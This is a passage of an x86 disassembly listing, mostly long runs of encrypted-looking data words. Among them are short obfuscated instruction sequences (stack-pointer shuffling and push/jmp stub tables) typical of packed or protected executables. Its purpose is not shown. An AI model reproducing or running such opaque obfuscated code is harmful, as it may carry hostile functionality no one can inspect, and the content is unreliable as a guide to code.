		dd 0FFE9E9FFh, 3EBAFFFFh, 0EB0009FDh, 20h, 7 dup(0)
		dd 589E900h, 7DE90000h,	68000005h, 6213DEBh, 0FD4316E9h
		dd 3E8D68FFh, 0CE90621h, 68FFFD43h, 6214053h, 0FD4302E9h
		dd 40F668FFh, 0F8E90621h, 0CCFFFD42h, 0FA158A37h, 233EB372h
		dd 506BE081h, 789308A9h, 7CBD32F7h, 3BFE7F8Ah, 6A17ABC6h
		dd 9154DAF5h, 0B77E011Ch, 90A64242h, 3F460E54h,	54754D02h
		dd 45F4BD3Bh, 972BA246h, 204708EAh, 0D338A83Eh,	0D774B924h
		dd 0D7242291h, 0D06701C5h, 0A3F56095h, 0CB18136Dh, 6CA4AE82h
		dd 40EE9645h, 38000000h, 24D26B76h, 0D29F9A39h,	7E667CB4h
		dd 0D83924D2h, 4C159493h, 0DCFAA96Ah, 61190DA4h, 8E921269h
		dd 658A5A70h, 87CC3925h, 0A275DCD8h, 7FBB3F46h,	4297B69h
		dd 6F96DB33h, 13F0FAh, 76BE0000h, 3924D26Ah, 0B5D3A099h
		dd 460FB29Fh, 0C4397E3Fh, 30F173F0h, 0D327B84Eh, 179AB924h
		dd 0BB556C4Eh, 5DE02B3Bh, 0E27B0100h, 0F5B6985Dh, 898AECCEh
		dd 4FEC1343h, 57A79196h, 4A902F30h, 0D84D1498h,	1C3A3FFDh
		dd 0DBBD6403h, 374D6B1Ah, 0B92533A9h, 0C67E60A5h, 866815ADh
		dd 941716C5h, 0BC7D58CDh, 0FE8099B7h, 0E998593Bh, 3B58B5CBh
		dd 0B50BF43h, 0ED4D9329h, 0C25FB306h, 0B70F0D7Ch, 5FC807E3h
		dd 12000000h, 0CFED86B3h, 460E60B9h, 0FD1B603Fh, 2BA041E4h
		dd 2C46D10h, 0F243DD3Eh, 5B80080Ah, 88000003h, 0AEC93EFBh
		dd 0D7F2670Eh, 0FC178C55h, 243FB47Dh, 2869DE83h, 0E78A2B36h
		dd 0ECB5772h, 35F87E99h, 6302A5C0h, 3C52EEEEh, 3F460FA8h
		dd 5421F9AEh, 7595F5BDh, 0AF5E529Ah, 31DC1h, 0F1738F00h
		dd 75F91230h, 671F01B0h, 2305A84Eh, 29B7B362h, 9D3924D3h
		dd 3924D3C3h, 24D2E003h, 0D2F4EC39h, 0ED23924h,	0B83924D3h
		dd 0F924D328h, 20C1637Ch, 0EA87B271h, 0C25CB6CCh, 11567F45h
		dd 3FA5BBF3h, 8C7303E4h, 8DD246EBh, 96A3FCDEh, 7CA9BFDDh
		dd 5C7921E9h, 257D5517h, 3F412C26h, 2B9B7h, 0A05DE600h
		dd 0C968102Bh, 0EEB73954h, 16DF5E79h, 3CE186A1h, 899486C7h
		dd 0B1CC41E4h, 0D4EF6411h, 0FF1A8F52h, 4040B57Ch, 10568EA4h
		dd 4B003F46h, 31F07373h, 5B00974Fh, 83A7BFF5h, 5EDB9A49h
		dd 54E1F715h, 0A43F4707h, 2DCFEA5Fh, 70F40F84h,	0FE17CFB1h
		dd 4B0AB964h, 516785EEh, 3925CAECh, 0A0B9D71Ch,	37AC5B1Eh
		dd 0E351C11Fh, 7AF7422Ch, 8DF3465Ch, 0C80D3304h, 47EE91AAh
		dd 1734B7D2h, 0D65A787Eh, 7F60920Fh, 0BA2A405Eh, 9C26C1DEh
		dd 0F9123057h, 0DCEB075h, 0AE67C5Eh, 1926C1DFh,	9E355320h
		dd 0D882B402h, 773EBE18h, 0FEADD495h, 4F83CAE0h, 60A52CE3h
		dd 0DF862942h, 0E2F8306Ah, 20A0D702h, 61600F54h, 0E0F917DEh
		dd 0AEC9B5Eh, 0A0D67C74h, 992A720h, 7D9BC263h, 0C212D667h
		dd 0C86F8826h, 2406AF51h, 198D3C63h, 0FC1FB6D4h, 8A6D5EEFh
		dd 0EE2644F3h, 0DF8E57D5h, 1F945DE0h, 0A2C06104h, 5F41E489h
		dd 5A813CC6h, 0C970C9ABh, 0BB528AA8h, 0D7357E35h, 2ECECD4Dh
		dd 75DCD887h, 0BB20A0FEh, 0E2FE9476h, 0E1145E85h, 1DB6985Dh
		dd 78F9DB9Ah, 3F552F75h, 0EFED5CA2h, 0A8A68C21h, 31h, 0A63E548Ch
		dd 0B0145E79h, 7604BC6Bh, 3924EF6Ah, 0F8EC023Ah, 5E3924B5h
		dd 187C6A19h, 0E4000000h, 0B64E96ACh, 6D083924h, 0A3F8FBCAh
		dd 87365D7Fh, 0EC6A76CFh, 0B3A03924h, 97CFED86h, 0D29B495Fh
		dd 2AB23924h, 0A9B70AA8h, 0FDACF165h, 464A3401h, 7F011A3Fh
		dd 45BDD4B6h, 0A675055Dh, 0F165143Bh, 0C871CAACh, 0AD8F52D3h
		dd 0F1D38E14h, 0C4E20930h, 21753BAEh, 1EE02539h, 0EC2565CEh
		dd 0F3780002h, 20000000h, 4661D683h, 6F8AFFA6h,	94AF24CDh
		dd 0BCD74C15h, 0C001763Bh, 7F22C3CEh, 0A653EF0Ah, 0CD901631h
		dd 0FBBA3D58h, 0D4EA8686h, 3F461310h, 54B99146h, 4BFAA73Bh
		dd 0A6C4AD8Ch, 0D28C586Eh, 0ADCA3924h, 903F660Fh, 5FA33A72h
		dd 42F02B4Ah, 300501B0h, 0C83F46D1h, 172D6583h,	330458CDh
		dd 591BC9DFh, 0F63B3304h, 1EC76582h, 0A5547B3Ch, 5B740BC3h
		dd 450C7A6h, 97A26110h,	91B87D02h, 81605D73h, 6CA83922h
		dd 100CD553h, 2CE66DD4h, 37C03D82h, 9F71235Ch, 805E2047h
		dd 4CEC267Ah, 50C24Ah, 0E47D0000h, 3A9C439h, 2ED2ED62h
		dd 70F71287h, 9C213CB1h, 312364D9h, 67DC8126h, 960BB64Ch
		dd 0C136FB7Bh, 0ED6203A6h, 0A93B51EDh, 0AD3F4612h, 1B8420F8h
		dd 52000000h, 0DE061C54h, 783924D2h, 53918433h,	0DEFB63Ah
		dd 9E43CF4Ch, 922C1EA7h, 0EE732BE3h, 35B85133h,	4DF18A6Ch
		dd 952DC6A8h, 0C86D06E8h, 5AA4325h, 46E57E60h, 8024BD9Fh
		dd 0C666FFE1h, 68003D1Fh, 6AFBh, 68240C89h, 32EAh, 53241C89h
		dd 0C381E389h, 4, 8704EB83h, 895C241Ch,	0BA52243Ch, 3BE35201h
		dd 8105E2C1h, 4B7C87F2h, 5AD3897Ah, 8904EC83h, 4812424h
		dd 424h, 55535F00h, 0E43681BDh,	246C013Bh, 478F5D04h, 86F8108h
		dd 3BE43681h
		db 8Bh,	3Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	ebx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_536D7B
; ---------------------------------------------------------------------------
		dw 943Eh
		dd 0F59E8063h, 0EFF1509Eh, 21416BB8h, 8BC50306h, 0E900EBC8h
		dd 5E1h, 5D5E9h, 43166800h, 84E90621h, 68FFFD3Dh, 621442Bh
		dd 0FD3D7AE9h, 449168FFh, 70E90621h, 68FFFD3Dh,	6214564h
		dd 0FD3D66E9h, 468D68FFh, 5CE90621h, 30FFFD3Dh,	5671E693h
		dd 7F9A0FD6h, 0A4BF34FDh, 0CCE75C05h, 0D011862Bh, 8F52D3DEh
		dd 0B663FF1Ah, 0DD802641h, 0BAA4D68h, 0E4FA9696h, 3F461500h
		dd 76C9A156h, 3924D26Ah, 24D2885Ch, 690B2439h, 7625E6C8h
		dd 24D2697Ah, 0D27D6339h, 90273924h, 99AF0C28h,	3925A04Bh
		dd 0CE49C60Bh, 5F859B3Bh, 0F739250Fh, 0E0DC8BB2h, 39251001h
		dd 251019C7h, 224FEAB9h, 2EB6CC04h, 28B92510h, 1634E3h
		dd 0BF431631h, 0C55C7ABFh, 2BF2B5Fh, 0D1EF9E10h, 35FC8099h
		dd 0E4E39253h, 0F2A9F42h, 8FE8CA6Fh, 14ABC9AAh,	7D430257h
		dd 0EF05237Eh, 0B306E0F5h, 4F6D1C61h, 0B67FFE17h, 0E61A0B07h
		dd 0DC14B924h, 0E8DC1EC6h, 44F338ACh, 0A1C98BD0h, 2D6C2973h
		dd 410A32Bh, 0C45D0000h, 0E389A419h, 0EB2CD42h,	50D7F267h
		dd 7C011C91h, 110344B9h, 47BC6106h, 76EB962Ch, 0A116DB5Bh
		dd 0CD42E386h, 0C91B31CDh, 8D3F4615h, 0F07300D8h, 28B94F31h
		dd 153924D3h, 179A4C92h, 3BBED94Eh, 7CFF987Ah, 0D33CA8BEh
		dd 0D51A3924h, 0AD4BCCAEh, 9E4D1494h, 8023D51Bh, 96946CE1h
		dd 4F81C5D4h, 38Ah, 0B93B5499h,	0A74A49F8h, 92A8E0FEh
		dd 3924D352h, 22C0BF04h, 25D49577h, 0D334AD43h,	0CBCC3924h
		dd 667CB485h, 3924D27Eh, 0E5E493D8h, 0F42EA342h, 24D306DEh
		dd 270B5039h, 0D26F758Bh, 0CAE73924h, 39577E27h, 2BDA9F20h
		dd 6B0EB049h, 0ECB5344Dh, 0F78EC83Dh, 42FBF5CFh, 0E68F2E4Ah
		dd 7722C0BFh, 8826C9C8h, 24E57272h, 789FE439h, 74FD3D96h
		dd 0FABB3D56h, 33A85718h, 0EACC9518h, 892CB151h, 464506E8h
		dd 5A1BFDA0h, 3AA6BE33h, 893924E6h, 15A3CF9h, 0E51D3B38h
		dd 0D5842DCCh, 4315CCD9h, 5C70C3Fh, 0F2474D5Fh,	0FBD96163h
		dd 48000002h, 6E89FEBBh, 97B227CEh, 0BCD74C15h,	0E4FF743Dh
		dd 0E8299E43h, 0A74AEBF6h, 0CE8B1732h, 0F5B83E59h, 23C26580h
		dd 0FC12AEAEh, 3F4616E8h, 73E1B96Eh, 0B64F31F0h, 0F7907233h
		dd 2139AE6Bh, 3924D2FFh, 24E29947h, 0DD982A39h,	0C27B65FBh
		dd 0B1883924h, 0A98CA2C0h, 4F3F42D5h, 472E480Ah, 9C9EF247h
		dd 29514h, 9441E200h, 0BD64041Fh, 0EA8B2D48h, 12D35A75h
		dd 38FD829Dh, 859082C3h, 0ADC83DE0h, 0D8F36815h, 31E9356h
		dd 4C4CC160h, 174A9AB0h, 570C3F46h, 31F0737Fh, 545B7C13h
		dd 0F7C6A9C7h, 2ACD6648h, 0D3546D8Bh, 0BC6B2C0Eh, 0F4A141DAh
		dd 56F77912h, 8EA11CCh,	0B788CE6Dh, 251A43A1h, 0A7CE1339h
		dd 0C577BDC0h, 360E8322h, 81C58D38h, 15C0627Bh,	1BC37233h
		dd 1FEh, 0D26A7665h, 0D5593924h, 0FE809B10h, 3EC0593Bh
		dd 1518997Bh, 40E5FECFh, 4BFABB9Dh, 9207AA4Ch, 0C5D4BCBAh
		dd 627581h, 40590000h, 9149F8B9h, 0BEF686B3h, 24D33CA8h
		dd 0D9D51A39h, 3924D30Bh, 0C1DF064Bh, 0B36207A8h, 0D68E7F95h
		dd 0D51A3F42h, 47665D13h, 1FA7A9F2h, 1C2h, 52C7720Fh, 7BF0B137h
		dd 0A015DC60h, 0CA3FE685h, 0F66B0EAFh, 37B8C3B5h, 40E2FD72h
		dd 61052095h, 892C47BCh, 0D77373E8h, 461823C1h,	0A67E333Fh
		dd 4A2CF573h, 0D109A589h, 0C32E933Ah, 903F89A9h, 24FD5894h
		dd 0E7C90E39h, 9005A84Eh, 1533F275h, 7C25C4DDh,	24FC6480h
		dd 0AEADF239h, 0D4B66508h, 5860BF7Bh, 9C8A80B5h, 6D88FD24h
		dd 94AF24C9h, 0D56E5011h, 7130B84Dh, 32ACB72h, 0BAF28E8Eh
		dd 72786C82h, 99DE3925h, 72F6EEEAh, 1B603925h, 7D1CA039h
		dd 0AC3635F8h, 7A55CAF1h, 9051D7C2h, 0D29315AEh, 0E1082FF0h
		dd 4BC266FFh, 6DE209A8h, 0ADC3FB33h, 39257337h,	6DEDA1Fh
		dd 0C5392573h, 0EE0B7F26h, 1C2A449h, 0B12F2BDAh, 52392572h
		dd 670EB2E7h, 7F9DC485h, 43921069h, 0D2B703Fh, 0CEB071F4h
		dd 27405E0Dh, 506BE081h, 8E2709A8h, 0E2745E8h, 3315C469h
		dd 0F375089Ah, 34B75032h, 3D1F466Dh, 0AD374D85h, 0A9330752h
		dd 32B6B564h, 1389173h,	0C93C5270h, 0CF392557h,	0E5BAC88Ah
		dd 2EC29h, 9978h, 0A05DE600h, 0C968102Bh, 0EEB73954h, 16DF5E79h
		dd 3CE186A1h, 899486C7h, 0B1CC41E4h, 0D4EF6411h, 0FF1A8F52h
		dd 4040B57Ch, 18568EA4h, 4B003F46h, 59F07373h, 6B2C0ED7h
		dd 26C96244h, 63049D7Fh, 7A914E68h, 789FD5E1h, 0B77EFD96h
		dd 4667D5h, 39CB192Fh, 468B3925h, 0EF35381Fh, 86FBBA3Dh
		dd 0C56DB0AEh, 106981h,	76B30000h, 3924D26Bh, 990ED75Ah
		dd 188Fh, 3B545D00h, 4D49F8B9h,	3924D293h, 6FE48D30h, 0D9981C35h
		dd 0E49352DAh, 19749F2Ch, 2, 0EE73D4ACh, 35B85133h, 4DF18A6Ch
		dd 952DC6A8h, 0C86D06E8h, 5AA4325h, 46E57E60h, 8024BD9Fh
		dd 0C666FFE1h, 52003D1Fh, 0C2815A54h, 4, 8704EA83h, 565C2414h
		dd 0C681E689h, 4, 4EE81h, 34870000h, 2C895C24h,	0E0895024h
		dd 405h, 4E88300h, 5C240487h, 53241489h, 214243BBh, 8BDD8906h
		dd 0C483241Ch, 148B5404h, 4C48324h, 3ABF5755h, 3115552Fh
		dd 5F04247Ch, 8108428Fh, 2F3A0872h, 148B1555h, 0E6895624h
		dd 4C681h, 0C6830000h, 24348704h, 242C8B5Ch, 81E68956h
		dd 4C6h, 4C68300h, 5C243487h, 0FD37C6E9h, 37DBFFh, 0E1CB9BD3h
		dd 8F94FA7Ah, 4BB82321h, 3062147h, 0E8D18BC5h, 12h, 0AC23473Ah
		dd 0CF86AD9h, 45F8299Eh, 8E393614h, 0BA6626EAh,	0E859F9F5h
		dd 0Eh,	6A52B1C4h, 0DA506123h, 299A3A6Eh, 860FA8DCh, 0
		dd 17C1815Fh, 0E900005Ah, 13h, 65F0C472h, 57AA66A9h, 0D93EA96Dh
		dd 0EA4A0C04h, 68C590DAh, 0
		dd 0E890F58h, 0E9000000h, 9, 0EAD0883Ah, 84A3D108h, 11C8B68h
		dd 4BD78166h, 53EB81FFh, 8142026Eh, 0FC7E2AC6h,	76F3812Bh
		dd 0F2BC024h, 284h, 81F08B00h, 0AE3DE6EBh, 11C891Fh, 8BD3B70Fh
		dd 4E883F7h, 0F8815E50h, 0FFFFA694h, 0FFBF850Fh, 80BFFFFFh
		dd 0E9164EE8h, 0D9h, 0FBE1D20h,	2F82C12Ch, 0BEB6CFDFh
		dd 365D54FDh, 0BCECA436h, 0C55DD500h, 0D676D352h, 0FC94A4h
		dd 0C1AEC441h, 5277CB50h, 9CACAC32h, 0F691B800h, 82CD64F7h
		dd 3893h, 3C00h, 4000h,	9400h, 500h, 100h, 0A2800h, 200h
		dd 20h dup(0)
		dd 7A732600h, 2083E978h, 0A5680000h, 0E906214Bh, 0FFFD360Fh
		dd 214CD368h, 3605E906h, 0C368FFFDh, 0E906214Dh, 0FFFD35FBh
		dd 214E7668h, 35F1E906h, 7868FFFDh, 0E906214Fh,	0FFFD35E7h
		dd 21506368h, 35DDE906h, 3768FFFDh, 0E9062151h,	0FFFD35D3h
		dd 21521E68h, 35C9E906h, 8068FFFDh, 0E9062156h,	0FFFD35BFh
		dd 21570568h, 35B5E906h, 0B68FFFDh, 0E9062158h,	0FFFD35ABh
		dd 215B0F68h, 35A1E906h, 8568FFFDh, 0E906215Eh,	0FFFD3597h
		dd 21621F68h, 358DE906h, 7668FFFDh, 0E9062163h,	0FFFD3583h
		dd 2163DC68h, 3579E906h, 2F68FFFDh, 0E9062164h,	0FFFD356Fh
		dd 21648468h, 3565E906h, 9668FFFDh, 0E9062165h,	0FFFD355Bh
		dd 2166AD68h, 3551E906h, 0C468FFFDh, 0E9062167h, 0FFFD3547h
		dd 66DB861Bh, 8F04AD4Bh, 0BC31F074h, 0E65B1AA1h, 12872ACBh
		dd 53D4DFD1h, 64FE198Eh, 852944B9h, 0AD506BE0h,	0F38F8F04h
		dd 461D07DDh, 5C9A4F3Fh, 5302BF43h, 31F0739Bh, 9A33B64Fh
		dd 566D4F16h, 9BA61746h, 0F31A4178h, 0DD96A37Eh, 0CE6E87BFh
		dd 0F1F30927h, 6539258Bh, 0E4757120h, 0B23F43A8h, 0A2511499h
		dd 7107E92Eh, 33076D6Fh, 0EB5AA03Dh, 87E335EDh,	4FA6h
		dd 4CF38A00h, 0AB5276F8h, 0B37129D8h, 38CFED86h, 0CFA45AF4h
		dd 422D15Ch, 43DB17EEh,	1E3C813Fh, 0DBBD6005h, 0F3896B1Ah
		dd 330784EDh, 0AC8E57D6h, 0EFD19013h, 956FB554h, 0CB9CE27Fh
		dd 84677D93h, 0AAEF3307h, 22413FFBh, 0D8FA87E3h, 44000000h
		dd 6437BD54h, 60686017h, 660FB2B1h, 7E94CC84h, 3925C366h
		dd 0AE22C365h, 3ABBBA69h, 0C4DD9577h, 0D99A7C25h, 0E9882B2Ah
		dd 2ACB6E07h, 0C8869DB5h, 20C33925h, 0A44A6381h, 0C2DD5201h
		dd 3B94763Fh, 415775FEh, 3F43CC88h, 44A0B6EEh, 123307B3h
		dd 8A2BCECDh, 0AD2267DBh, 0EC0A67D2h, 285F44D6h, 1B397E39h
		dd 0E2627D02h, 119002CFh, 0DC1ADF8h, 3A6148BBh,	0E2839E13h
		dd 0FA5C7D3Fh, 7476EC27h, 1DA9ECh, 8835CE00h, 0B170F813h
		dd 0D69F213Ch, 0FEA74661h, 24C96E89h, 717C6EAFh, 99B429CCh
		dd 0BCD74C09h, 0E702773Ah, 28289D44h, 1D6E768Ch, 33E83F46h
		dd 2FF2735Bh, 0BA70F811h, 24D340A4h, 0AAD11639h, 0E35807C8h
		dd 77C25C8h, 657F95CDh,	0F13924D2h, 0B345FDACh,	97CFED86h
		dd 74DFF87Eh, 0B816D6F9h, 8243254Ch, 0C32ED7D3h, 256A3F43h
		dd 6D33AD43h, 41793307h, 32E18028h, 0FCFA69AFh,	0B587E33Ah
		dd 0F6h, 77710299h, 0C81D0D9h, 8E0CD8EEh, 54A3307h, 0F0739E56h
		dd 7E974F31h, 0BC5537FEh, 0D394763Bh, 79FEFDACh, 0D33DA7BDh
		dd 0D4193924h, 34F88FADh, 840B6477h, 44FCDE8Dh,	2E48D2Bh
		dd 8D969241h, 0BC3925CCh, 0E8037839h, 61BA9C45h, 677D9BD8h
		dd 3F43D062h, 0CA0479BEh, 0B6687C92h, 0A9EE3307h, 0FF6D432Ch
		dd 0D4830DEDh, 314F2415h, 280AEE1Bh, 4DEF0839h,	747086A4h
		dd 0E22CE6B8h, 357AEE9Dh, 5B8A8017h, 0B318D3CEh, 619640ECh
		dd 91406709h, 80223B73h, 8332F3D5h, 0C93EE384h,	0A26409AEh
		dd 0EC268049h, 7BFB8385h, 0A000001Ch, 0C6E15603h, 0EF0A7F26h
		dd 142FA44Dh, 3C57CC95h, 4081F6BBh, 0FFA2434Eh,	26D36F8Ah
		dd 4D1096B1h, 7B3ABDD8h, 546A0606h, 3F461E90h, 733911C6h
		dd 0C22238F2h, 943924D2h, 98B3284Fh, 9DD74C15h,	0D2954F65h
		dd 7CC13924h, 0F07315CDh, 0D2C0243Ah, 51963924h, 0CAF482Ah
		dd 513AF065h, 38561B1Eh, 42F2FF22h, 6F0E273Fh, 7423E4C6h
		dd 0C445E300h, 0DA9B7D24h, 1CB28CB3h, 0EF9521C0h, 7F22C3DCh
		dd 4B2811D0h, 5DFF52Dh,	0A7767844h, 78445391h, 4ABE0376h
		dd 22385605h, 7C9646AFh, 871E3C81h, 8B29F5E1h, 90722119h
		dd 5A8AA0D8h, 0FC705A15h, 0F04908B7h, 0D7CE6583h, 70223775h
		dd 5991AF5Eh, 0EA00A240h, 705ABFFAh, 0D2F0175Ch, 5AC028BCh
		dd 3AE92E70h, 78F89C3Eh, 4361A676h, 69DE872Ah, 480AAB4Eh
		dd 297D1A9Dh, 8B971F21h, 0B000001Bh, 0D6F16613h, 0FF1A8F56h
		dd 243FB47Dh, 4C67DC85h, 509106ABh, 0FD2535Eh, 36E37F9Ah
		dd 5D00A6C1h, 8B2ACDE8h, 647A1616h, 3F461F80h, 734921D6h
		dd 0F64F31F0h, 0FA102E43h, 3F42D82Bh, 0B9F368ADh, 4B6119A0h
		dd 3306CD99h, 0A25178BDh, 51E87F08h, 92CA0220h,	0CDA0445Ah
		dd 71B63306h, 6CD6F75h,	0F3A2E733h, 24EE2AF7h, 160BA639h
		dd 0EC2D7469h, 4B3EA6BCh, 0D3182CE8h, 15AB85ACh, 0F499A952h
		dd 0DBF97ABFh, 54EF0CC5h, 0FDDF246Bh, 0BEDC95A4h, 372232A8h
		dd 0ADCB1065h, 0DB501194h, 6A1E3DC0h, 3CCB1AF1h, 0DF18DA01h
		dd 2F183B54h, 1AD8A52Dh, 64FD0000h, 832944B9h, 0AE526DE2h
		dd 0F0779207h, 1CA1BC31h, 0B1A3E459h, 0E75C01A6h, 168B36CCh
		dd 41B67BFBh, 6DE28326h, 29BBD16Dh, 2D3F4621h, 3B54A078h
		dd 0F9EB01B9h, 5D3924D2h, 4E0FF118h, 0FE1DA09Fh, 0ECFDDCCDh
		dd 816379DFh, 0D539255Fh, 60426990h, 46F38FA8h,	35F4A364h
		dd 3B516F04h, 3F438F6Ah, 6D0DABC4h, 72F8D57h, 5D84C933h
		dd 80F53AAEh, 9E9BACCAh, 93BA7BFDh, 4FC25F75h, 4B643925h
		dd 0E65A09A8h, 131C7A1h, 0A6C991C7h, 88C0DE93h,	8F0C27F1h
		dd 0C5C4AD0Ch, 0D4D07F26h, 965E21FDh, 39D0EE33h, 99D0495Ah
		dd 5A8081BEh, 0E82B9F1Ch, 7C3416C5h, 3F21C063h,	2910CF7Eh
		dd 0E93E81F2h, 0E7050757h, 21F913D1h, 0D7FE438Ah, 0C6EA81B9h
		dd 7B02FE69h, 0A7240942h, 8856622Ah, 92FDDDD9h,	459040h
		dd 0EB91AAE2h, 199C9B4Ah, 25C8E358h, 375E03A4h,	44B47C75h
		dd 0BC444643h, 19D6h, 46BB66FBh, 6FE48D2Bh, 9C11D054h
		dd 0C63BFA81h, 0F2670AABh, 33B4BFB1h, 44DEF96Eh, 65092499h
		dd 8D304BC0h, 0D36F6FE4h, 462227BDh, 0A27A2F3Fh, 0C390BD54h
		dd 0E12E9BBEh, 0F1B03332h, 0EE83B60Fh, 628298D0h, 0F43925A1h
		dd 0CCE200AFh, 3F43B569h, 1FD54A8Fh, 2C45F45Bh,	3FBDD60Eh
		dd 30571E9Eh, 0E2DE8D4Eh, 3925AF3Fh, 0D307F691h, 0B237FE67h
		dd 0AF1BB18Bh, 282A2BA8h, 3FFA8811h, 57759C5Dh,	0C4419041h
		dd 0B35FF635h, 49251716h, 4388FCABh, 0C66B0C25h, 927423E4h
		dd 588CA2DAh, 0FE298864h, 0EE4B0AB9h, 192F6785h, 298864CBh
		dd 0D2B47D00h, 0A9589D11h, 9D65758Bh, 98DD2FA6h, 3FDE617Ah
		dd 0B6D4FBBEh, 2B7C687Eh, 3FDA236Ah, 0E276263h,	0FE7BA21Eh
		dd 1D19BFE9h, 7FF4A311h, 5E20C164h, 0E2AABEA5h,	0EBDF6769h
		dd 10000018h, 3651C673h, 5F7AEFB6h, 849F14DDh, 0ACC73CE5h
		dd 0B0F1660Bh, 6F32B3BEh, 9643DFFAh, 0BD600621h, 0EB8A2D48h
		dd 0C4DA7676h, 3F462320h, 73A98136h, 0FD04DBF0h, 75E6EFFEh
		dd 26136C4Eh, 66A44056h, 76B23925h, 25668460h, 668DD239h
		dd 0D0E9213Fh, 0DCD88732h, 3F436C29h, 6D778DC5h, 0E9330761h
		dd 3C81F5A4h, 0C362051Eh, 9EE99F14h, 0E50370C9h, 258252CFh
		dd 5F397E39h, 47EE8EA7h, 3A059C98h, 0B980C0B2h,	4C629AB8h
		dd 99204A98h, 0F31883B5h, 0D0444584h, 3A780E8Bh, 64EF3AC8h
		dd 508197B5h, 0E09F3E03h, 0D960B99Bh, 76647A98h, 0CC992036h
		dd 0AD506987h, 3C558F04h, 9563A2B9h, 186003h, 8736F7D9h
		dd 7A3CE588h, 4C244B23h, 17A52D2Fh, 3C000018h, 6A85FAA7h
		dd 93AE23C2h, 0C0DB5011h, 0E8037839h, 0EC2DA247h, 0AB4EEFFAh
		dd 0DA871B36h, 1A44A65h, 27CE718Ch, 16B2B2h, 3F4623E4h
		dd 54E5BD72h, 0C151EBDh, 0A3527B8Ch, 0B10A01A4h, 82627865h
		dd 0D43925C9h
		dd 6224128Fh, 48A183AAh, 4C6280F1h, 3F46367Dh, 9742E0F9h
		dd 0D145F4B5h, 0E9D76E8Ch, 1FF62195h, 5E869CBAh, 0F83303AFh
		dd 0CDE604B3h, 0FE168B2Ah, 3303B076h, 7EF388B5h, 0AC21C063h
		dd 0B13368D1h, 0F6750EF0h, 0C3E1082Fh, 3EC6022Ch, 6160531Ah
		dd 753618DDh, 0D970A8C6h, 71DB4C8h, 330338DDh, 36B73479h
		dd 0F0BBA6Ch, 3924CCBAh, 0EA032166h, 6C85A342h,	7524CDh
		dd 8E0FADC6h, 0A66749F4h, 60049D7Fh, 0ECEB9AC1h, 2AC3A54Ch
		dd 13D1E787h, 432CE23Bh, 7A15D7FEh, 44EC22CEh, 1730BA42h
		dd 0CC550000h, 0FB819C11h, 6AAC53Ah, 28CFEA5Fh,	74F91489h
		dd 9FB3CB1h, 3FB479FEh,	6EE39E24h, 990ED353h, 0C53AFB7Eh
		dd 0D11329C5h, 853F4624h, 86B3F8D0h, 8197CFEDh,	3924D263h
		dd 0E1FFAEF3h, 950912A9h, 0D9F72371h, 209B2E2Ah, 40853F46h
		dd 69660922h, 0D039BD3h, 19FD7D49h, 61C8FB6Dh, 0F8B93B3Ah
		dd 0B92E5516h, 21DC667Fh, 10CF7E3Fh, 0D26442Dh,	0B071F36Ah
		dd 4E60DCEh, 3E769443h,	1E38225h, 0DA847AEAh, 5C832ABDh
		dd 0C53FB1ADh, 122F3303h, 28E9CB6Ah, 2F671F01h,	3C4CB19h
		dd 394F8B33h, 3303C4ABh, 903F66ABh, 3C54D94h, 92296133h
		dd 50D4B62Eh, 0CC8D1491h, 0DB21A453h, 0E7406E6Ch, 612787h
		dd 0B3710000h, 15E09B8Ah, 680FC28Ah, 0DB0D2341h, 8339251Fh
		dd 0A045C066h, 335A1BFDh, 87699051h, 251FEFF1h,	4D85BD39h
		dd 251FAD37h, 54CA039h,	0F0E5AE4Ch, 0B038377Ch,	79BF42F1h
		dd 0C55A0C0Ah, 1DC581h,	760F0000h, 3924D26Bh, 0B4D29F9Ah
		dd 42EFF79Eh, 77CC13Fh,	657F95CDh, 0F13306B6h, 0B345FDACh
		dd 97CFED86h, 5234F97Eh, 0B7E6E291h, 113F42DFh,	0AE51EACCh
		dd 0F4779207h, 0DB24B2Dh, 5028668h, 0CF57EEBFh,	6684BB8Bh
		dd 0C3666514h, 0EF92AD22h, 2E0B6446h, 0E4112745h, 94392480h
		dd 0D75AF777h, 47E8E70Eh, 0D8FFC0A2h, 0FCA54863h, 0F97F841Ah
		dd 79FA51Eh, 0FBAA4BEEh, 0FD803278h, 0AABD273Dh, 5499B4B1h
		dd 1A9DB82Dh, 85243D5Bh, 24BDB486h, 94BB5FF5h, 0C0EA9BB2h
		dd 0A3F6CD88h, 33EBCD7Ch, 0EFD1941Ah, 0EAFA102Eh, 6CB4B138h
		dd 0F2797827h, 381AC75Bh, 76E5FA77h, 4C9D5825h,	0B4D54325h
		dd 8139BC6Eh, 0B130796Bh, 9AC52B4h, 0A1435995h,	0B5B4B130h
		dd 0AD224970h, 0CF6EEF92h, 65834426h, 0B130954Fh, 557CC1B4h
		dd 0DD24BB73h, 2958ADACh, 5A84D4Ch, 0D1A29756h,	51149AB3h
		dd 9AFAE6Fh, 859BB968h,	0BACFBAECh, 0B2324884h,	0A4AE938Dh
		dd 19D8605Fh, 0DF627DF2h, 0AAC0F816h, 0AE938E3Ah, 6648ED91h
		dd 3DEC31A5h, 0E78AA35Bh, 0EC9B5C3Eh, 465255EDh, 0E48D2C86h
		dd 0FCC44102h, 8322CA13h, 92B9E0A1h, 0E92F2CB0h, 78EDB437h
		dd 391BDA5Dh, 2AC06881h, 937BD014h, 1A4186AEh, 0E48DAC6Bh
		dd 7CC9B0C6h, 72B7B4B1h, 965FE2FDh, 44E3FCB4h, 0A18322C5h
		dd 0E0AB9E0h, 0B8757BD2h, 677DB5EFh, 98757B7Dh,	62E594D9h
		dd 1EC76A1Ch, 0AA40E700h, 757C5094h, 9AC10698h,	7B7E667Ch
		dd 93D89875h, 0D2546FE4h, 0AECB537h, 0A7402249h, 2C456306h
		dd 4304E68Bh, 2E31B294h, 0F6B036E8h, 757C04E0h,	0E60D5298h
		dd 6F31C8h, 32B27E17h, 73F30E83h, 0B09253D6h, 4DE6C8EFh
		dd 0D0E907AEh, 0FADC8B2Eh, 81337976h, 11A38FDh,	9B5EDF7Eh
		dd 76F99274h, 64D988AFh, 1E00A549h, 0E1FF74C5h,	9323D2CBh
		dd 7B5BF69Eh, 7C34E721h, 0A64FEDECh, 0BBCA617Fh, 0C9809B94h
		dd 0D80C2240h, 7E9256E2h, 3AA88A39h, 0D9AF467Eh, 0CFF1810Ch
